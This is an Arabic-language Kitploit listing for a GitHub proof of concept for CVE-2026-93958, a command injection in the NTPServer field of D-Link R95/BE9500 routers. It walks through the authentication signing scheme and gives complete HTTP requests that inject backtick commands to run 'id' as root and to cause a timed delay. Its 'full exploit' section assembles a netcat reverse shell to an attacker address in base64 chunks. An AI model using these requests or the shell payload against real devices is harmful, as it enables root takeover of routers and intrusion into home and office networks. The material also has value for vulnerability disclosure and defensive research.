Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-93958 — حقن أوامر موثّق لإثبات المفهوم (PoC) لـ D-Link R95/BE9500 DHMAPI SetTimeSettings، يحقق تنفيذ أوامر عن بُعد (RCE) بصلاحيات الجذر عبر حقن backtick في NTPServer، مع سكربت استغلال كامل. | Kitploit
أدوات/GitHubGitHub/hackspeak/cve-2026-93958
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةأمان الأجهزة وإنترنت الأشياءالأوراق والأبحاث
GitHub
427منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
hackspeak/cve-2026-93958

CVE-2026-93958

حقن أوامر موثّق لإثبات المفهوم (PoC) لـ D-Link R95/BE9500 DHMAPI SetTimeSettings، يحقق تنفيذ أوامر عن بُعد (RCE) بصلاحيات الجذر عبر حقن backtick في NTPServer، مع سكربت استغلال كامل.

عرض المستودع

D-Link R95 BE9500 راوتر ذكي Wi-Fi 7

  • البائع:D-Link
  • المنتج:R95
  • طراز المنتج:BE9500
  • إصدار البرنامج الثابت:1.01B06
  • نوع الثغرة:حقن أوامر بعد المصادقة

الوصف

يحتوي راوتر D-Link R95 BE9500 الذكي Wi-Fi 7 (إصدار البرنامج الثابت BE9500_1.00.16) على ثغرة حقن أوامر في واجهة DHMAPI (SOAP عبر HTTPS) عند معالجة طلبات SetTimeSettings. يتم تخزين الحقل <NTPServer> الذي يتحكم فيه المستخدم في قاعدة بيانات الإعدادات دون أي تعقيم أو تحقق من محارف shell الوصفية. لاحقًا، عند مزامنة الإعدادات إلى UCI (ntpclient.@ntpserver[0].hostname)، تقوم خدمة الواجهة الخلفية المصابة ببناء وتنفيذ أمر shell محاط بعلامات اقتباس مزدوجة عبر استدعاء شبيه بـ system(). من خلال حقن علامات backtick (```) في قيمة <NTPServer>، يمكن للمهاجم تحقيق استبدال الأوامر — حيث يقيّم shell المحتوى المحقون قبل تنفيذ الأمر المُدمج، مما يسمح بتنفيذ أوامر عشوائية بصلاحيات root (uid=0).

يتطلب الهجوم جلسة إدارة ويب صالحة (sid) يتم الحصول عليها عبر وصول مُصادق عليه (تم اختباره بحساب المسؤول Admin). تتفاقم هذه الثغرة بشكل أكبر بسبب بيانات الاعتماد الافتراضية الضعيفة للجهاز أو مشكلات تجاوز المصادقة المحتملة، مما يوسع بشكل كبير سطح الهجوم في العالم الحقيقي.

التأثير

يمكن لمهاجم مُصادق عليه تنفيذ أوامر عشوائية بصلاحيات root، مما يؤدي إلى اختراق كامل للجهاز — بما في ذلك قراءة الملفات الحساسة (مثل /etc/rg_config/admin المشفّر، وتفريغ نسخ احتياطية كاملة للإعدادات)، وتثبيت أبواب خلفية دائمة، وإنشاء reverse shells، والتحرك داخل الشبكة الداخلية لشن هجمات جانبية.

تفاصيل الثغرة

1. المكوّن المتأثر والسبب الجذري

تقع الثغرة في الملف التنفيذي للواجهة الخلفية لإدارة الويب /bin/ssi (يعمل بصلاحيات root)، والذي ينفذ واجهة DHMAPI SOAP.

مصدر التلوث — معالج SetTimeSettings (الدالة عند الإزاحة 0x6bd84 في ssi، البرنامج الثابت 1.01B06):

  • يستخرج الحقل <NTPServer> من طلب SOAP إلى مخزن مؤقت على المكدس، بحد أقصى للطول 0x3f (63 بايت) — وهذا حد لحجم المخزن المؤقت، وليس فحصًا أمنيًا.
  • يخزّن القيمة كما هي في مفتاح الإعدادات الداخلي time.value.NTPServer عبر setter داخلي — لا يتم إجراء أي تصفية أو تهريب لمحارف shell الوصفية في أي مرحلة.

مصب التلوث — مزامنة الإعدادات إلى UCI. يقوم ssi بمزامنة قيم الإعدادات عبر دمجها في سلاسل أوامر shell يتم تنفيذها عبر استدعاءات شبيهة بـ system(). تشمل سلاسل التنسيق المضمّنة الموجودة في الملف التنفيذي:

uci set %s="%s" > /dev/null

نظرًا لأن القيمة محاطة بـ علامات اقتباس مزدوجة، يقوم shell بإجراء استبدال الأوامر على علامات backtick (`) / $() داخل القيمة قبل تشغيل الأمر المُدمج. وبما أن ssi يعمل بصلاحيات root، يُنفَّذ الأمر المحقون بصلاحيات root.

تؤكد أدلة التوقيت أن التقييم يحدث بشكل متزامن داخل مسار معالجة الطلب: حقن `sleep 10` يؤخر استجابة HTTP بنحو 10 ثوانٍ. كما تستمر القيمة المسمومة في UCI (ntpclient.@ntpserver[0].hostname) ويستهلكها لاحقًا /bin/start_ntpclient.sh بدون علامات اقتباس (ntpclient -s -h $HOSTNAME)، وهي ثغرة تقوية ثانوية.

قيود الاستغلال (تم التحقق منها):

القيدالنتيجة المتحقق منها
طول الحقل≤ 63 بايت مقبول؛ 60 بايت مقبول، 80 بايت مرفوض (HTTP 400)
محرف &يجب ألا يظهر (يكسر سطر الأمر المُدمج)
صيغة الحقنتم التحقق من علامات backtick `cmd`؛ يُتوقع أن يعمل $(cmd) بالمثل
سياق التنفيذuid=0(root) gid=0(root)
قناة الإخراجلا يوجد echo مباشر؛ إعادة التوجيه إلى جذر الويب (> /www/<file>) والاسترجاع عبر HTTP GET

2. شرط المصادقة المسبق (مخطط API-AUTH)

يجب أن تحمل جميع طلبات DHMAPI ما يلي:

  • Cookie: uid=<session cookie> (من تسجيل الدخول)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • ترويسات API-ACTION / SOAPAction المطابقة لإجراء SOAP، بالإضافة إلى User-Agent وReferer (فقدان UA/Referer يؤدي إلى HTTP 400/500)
  • ts هو طابع زمني بالمللي ثانية؛ الجهاز لا يتحقق من الحداثة، لذا يمكن إعادة استخدام قيمة ثابتة

اشتقاق privkey:

  1. Login / Action=request (موقّع بسلسلة المفتاح الثابت withoutloginkey) يعيد Challenge وCookie وPublicKey وSaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (أو كلمة المرور العادية عند غياب SaltHash)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login مع ما سبق يعيد <LoginResult>success</LoginResult>؛ تستخدم الطلبات اللاحقة Cookie: uid=<step-1 Cookie> موقّعة بـ privkey

3. إثبات المفهوم

الخطوة 1 — طلب تسجيل الدخول (الحصول على Challenge/Cookie/PublicKey/SaltHash)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

الخطوة 2 — تسجيل الدخول (إنشاء الجلسة)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

المتوقع: <LoginResult>success</LoginResult>.

image-20260823160951351

الخطوة 3 — حقن الأوامر (كتابة الإخراج إلى جذر الويب)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

الخطوة 4 — استرجاع إخراج الأمر

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

نص الاستجابة الملاحظ:

uid=0(root) gid=0(root)

image-20260823161234632

تحقق بديل — حقن أعمى قائم على الوقت

<NTPServer>`sleep 10`</NTPServer>

تتأخر استجابة HTTP بنحو 10 ثوانٍ؛ بينما يعود اسم خادم NTP سليم فورًا.

استغلال كامل — reverse shell

يتم تجاوز حد الحقل البالغ 63 بايت عبر كتابة سكربت في أجزاء base64:

  1. طلبات SetTimeSettings متكررة، كل منها يضيف جزءًا واحدًا: `echo -n <b64-fragment> >> /tmp/x`
  2. فك الترميز: `base64 -d /tmp/x > /tmp/rs.rs`
  3. محتوى /tmp/rs.rs (لاحظ المسافات الإلزامية حول الأنابيب لـ busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. التشغيل: `sh /tmp/rs.rs`
تنزيل الأداة